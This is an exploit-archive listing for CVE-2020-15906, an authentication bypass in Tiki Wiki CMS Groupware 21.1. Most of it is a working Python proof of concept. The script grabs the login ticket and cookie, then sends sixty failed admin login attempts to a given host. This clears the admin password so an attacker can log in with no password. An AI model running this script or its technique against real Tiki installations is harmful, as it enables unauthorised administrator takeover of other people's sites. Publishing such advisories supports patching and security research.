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Tiki Wiki CMS Groupware 21.1 Authentication Bypass

Tiki Wiki CMS Groupware 21.1 Authentication Bypass
Posted Oct 21, 2020
Authored by Maximilian Barz

Tiki Wiki CMS Groupware version 21.1 suffers from an authentication bypass vulnerability.

tags | exploit, bypass
advisories | CVE-2020-15906
SHA-256 | fdb2d2af820d67ef635b8e0f61fc2a454ea62824eead6548a4ec9d5306effdbc

Tiki Wiki CMS Groupware 21.1 Authentication Bypass

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# Exploit Title: Tiki Wiki CMS Groupware 21.1 - Authentication Bypass
# Date: 01.08.2020 (1st August 2020)
# Exploit Author: Maximilian Barz aka. Silky
# Vendor Homepage: tiki.org
# Software Link: https://jztkft.dl.sourceforge.net/project/tikiwiki/Tiki_21.x_UY_Scuti/21.1/tiki-21.1.zip
# Version: 21.1
# Tested on: Kali Linux 5.7.0-kali1-amd64

#!/usr/bin/env/python3
import requests
import json
import lxml.html
import sys

banner = '''

████████ ██ ██  ██ ██ ██  ██ ██ ██  ██ ██  ██████  ██  ██ 
   ██    ██ ██  ██  ██ ██  ██ ██ ██  ██  ██       ██ ███  ███ 
██  ██ █████   ██ ██  █  ██ ██ █████   ██  █████   ██   ██ 
██  ██ ██  ██  ██ ██ ███ ██ ██ ██  ██  ██  ██      ██  ██ 
██  ██ ██  ██ ██  ███ ███  ██ ██  ██ ██  ███████  ██ ██ ██ 
                                                           

█████  ██  ██ ████████ ██  ██ ███████ ███  ██ ████████ ██  ██████  █████  ████████ ██  ██████  ███  ██  ██████  ██  ██ ██████  █████  ███████ ███████ 
██   ██ ██  ██    ██    ██  ██ ██      ████  ██    ██    ██ ██      ██   ██    ██    ██ ██    ██ ████  ██  ██   ██  ██  ██  ██   ██ ██   ██ ██      ██      
███████ ██  ██  ██  ███████ █████  ██ ██  ██  ██  ██ ██  ███████  ██  ██ ██  ██ ██ ██  ██  ██████    ████   ██████  ███████ ███████ ███████ 
██   ██ ██  ██  ██  ██   ██ ██     ██  ██ ██  ██  ██ ██  ██   ██  ██  ██ ██  ██ ██  ██ ██  ██   ██   ██   ██      ██   ██      ██      ██ 
██  ██  ██████   ██  ██  ██ ███████ ██   ████  ██  ██  ██████ ██  ██  ██  ██  ██████  ██   ████   ██████   ██  ██  ██  ██ ███████ ███████ 
                                                                                                                                            
Poof of Concept for CVE-2020-15906 by Maximilian Barz, Twitter: S1lky_1337
'''




def main():
if(len(sys.argv) < 2):
print(banner)
print("Usage: %s <host> " % sys.argv[0])
print("Eg: %s 1.2.3.4 " % sys.argv[0])
return


rhost = sys.argv[1]
url = "http://"+rhost+"/tiki/tiki-login.php"

session = requests.Session()

def get_ticket():
r = requests.get(url)
login_page = r.text.encode('utf-8')
html = lxml.html.fromstring(login_page)
auth = html.xpath('//input[@name="ticket"]/@value')

return str(auth)[2:-2]

def get_cookie():
session.get(url)
return session.cookies.get_dict()


cookie = get_cookie()
ticket = get_ticket()

payload = {'ticket': ticket,'user':'admin', 'pass':'test','login':'','stay_in_ssl_mode_present':'y','stay_in_ssl_mode':'n'}
headers = {
'Host': rhost,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzrhost, deflate',
'Referer': 'http://'+rhost+'/tiki/tiki-login.php',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '125',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0',
}


for i in range(60):
r = session.post(url, payload, headers)
if("Account requires administrator approval." in r.text):
print("Admin Password got removed.")
print("Use BurpSuite to login into admin without a password ")



if(__name__ == '__main__'):
main()
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